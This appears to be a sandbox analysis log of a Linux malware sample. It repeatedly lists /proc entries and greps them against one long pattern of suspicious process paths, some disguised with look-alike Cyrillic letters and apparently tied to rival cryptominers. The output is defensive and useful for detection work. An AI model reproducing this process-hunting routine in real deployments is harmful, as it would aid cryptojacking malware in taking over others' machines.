/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1240
-
-
/bin/grepgrep exe2⤵PID:1244
-
-
/bin/lsls -latrh /proc/devices2⤵PID:1243
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1247
-
-
/bin/grepgrep exe2⤵PID:1250
-
-
/bin/lsls -latrh /proc/diskstats2⤵PID:1249
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1254
-
-
/bin/grepgrep exe2⤵PID:1257
-
-
/bin/lsls -latrh /proc/dma2⤵PID:1256
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1260
-
-
/bin/grepgrep exe2⤵PID:1264
-
-
/bin/lsls -latrh /proc/driver2⤵PID:1263
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1266
-
-
/bin/grepgrep exe2⤵PID:1270
-
-
/bin/lsls -latrh /proc/execdomains2⤵PID:1269
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1273
-
-
/bin/grepgrep exe2⤵PID:1276
-
-
/bin/lsls -latrh /proc/fb2⤵PID:1275
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1279
-
-
/bin/grepgrep exe2⤵PID:1283
-
-
/bin/lsls -latrh /proc/filesystems2⤵PID:1282
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1286
-
-
/bin/grepgrep exe2⤵PID:1290
-
-
/bin/lsls -latrh /proc/fs2⤵PID:1289
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1292
-
-
/bin/grepgrep exe2⤵PID:1296
-
-
/bin/lsls -latrh /proc/interrupts2⤵PID:1295
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1299
-
-
/bin/grepgrep exe2⤵PID:1302
-
-
/bin/lsls -latrh /proc/iomem2⤵PID:1301
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1305
-
-
/bin/grepgrep exe2⤵PID:1309
-
-
/bin/lsls -latrh /proc/ioports2⤵PID:1308
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1311
-
-
/bin/grepgrep exe2⤵PID:1315
-
-
/bin/lsls -latrh /proc/irq2⤵PID:1314
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1318
-
-
/bin/grepgrep exe2⤵PID:1321
-
-
/bin/lsls -latrh /proc/kallsyms2⤵PID:1320
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1325
-
-
/bin/grepgrep exe2⤵PID:1328
-
-
/bin/lsls -latrh /proc/kcore2⤵PID:1327
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1331
-
-
/bin/grepgrep exe2⤵PID:1335
-
-
/bin/lsls -latrh /proc/key-users2⤵PID:1334
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1337
-
-
/bin/grepgrep exe2⤵PID:1341
-
-
/bin/lsls -latrh /proc/keys2⤵PID:1340
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1344
-
-
/bin/grepgrep exe2⤵PID:1347
-
-
/bin/lsls -latrh /proc/kmsg2⤵PID:1346
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1350
-
-
/bin/grepgrep exe2⤵PID:1354
-
-
/bin/lsls -latrh /proc/kpagecgroup2⤵PID:1353
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1356
-
-
/bin/grepgrep exe2⤵PID:1359
-
-
/bin/lsls -latrh /proc/kpagecount2⤵PID:1358
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1361
-
-
/bin/grepgrep exe2⤵PID:1364
-
-
/bin/lsls -latrh /proc/kpageflags2⤵PID:1363
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1366
-
-
/bin/grepgrep exe2⤵PID:1369
-
-
/bin/lsls -latrh /proc/loadavg2⤵PID:1368
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1371
-
-
/bin/grepgrep exe2⤵PID:1374
-
-
/bin/lsls -latrh /proc/locks2⤵PID:1373
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1376
-
-
/bin/grepgrep exe2⤵PID:1379
-
-
/bin/lsls -latrh /proc/meminfo2⤵PID:1378
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1381
-
-
/bin/grepgrep exe2⤵PID:1384
-
-
/bin/lsls -latrh /proc/misc2⤵PID:1383
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1386
-
-
/bin/grepgrep exe2⤵PID:1389
-
-
/bin/lsls -latrh /proc/modules2⤵PID:1388
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1391
-
-
/bin/grepgrep exe2⤵PID:1394
-
-
/bin/lsls -latrh /proc/mounts2⤵PID:1393
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1396
-
-
/bin/grepgrep exe2⤵PID:1399
-
-
/bin/lsls -latrh /proc/net2⤵PID:1398
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1401
-
-
/bin/grepgrep exe2⤵PID:1404
-
-
/bin/lsls -latrh /proc/pagetypeinfo2⤵PID:1403
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1406
-
-
/bin/grepgrep exe2⤵PID:1409
-
-
/bin/lsls -latrh /proc/partitions2⤵PID:1408
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1411
-
-
/bin/grepgrep exe2⤵PID:1414
-
-
/bin/lsls -latrh /proc/sched_debug2⤵PID:1413
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1416
-
-
/bin/grepgrep exe2⤵PID:1419
-
-
/bin/lsls -latrh /proc/schedstat2⤵PID:1418
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1421
-
-
/bin/grepgrep exe2⤵PID:1424
-
-
/bin/lsls -latrh /proc/self2⤵PID:1423
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1426
-
-
/bin/grepgrep exe2⤵PID:1429
-
-
/bin/lsls -latrh /proc/slabinfo2⤵PID:1428
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1431
-
-
/bin/grepgrep exe2⤵PID:1434
-
-
/bin/lsls -latrh /proc/softirqs2⤵PID:1433
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1436
-
-
/bin/grepgrep exe2⤵PID:1439
-
-
/bin/lsls -latrh /proc/stat2⤵PID:1438
-
-
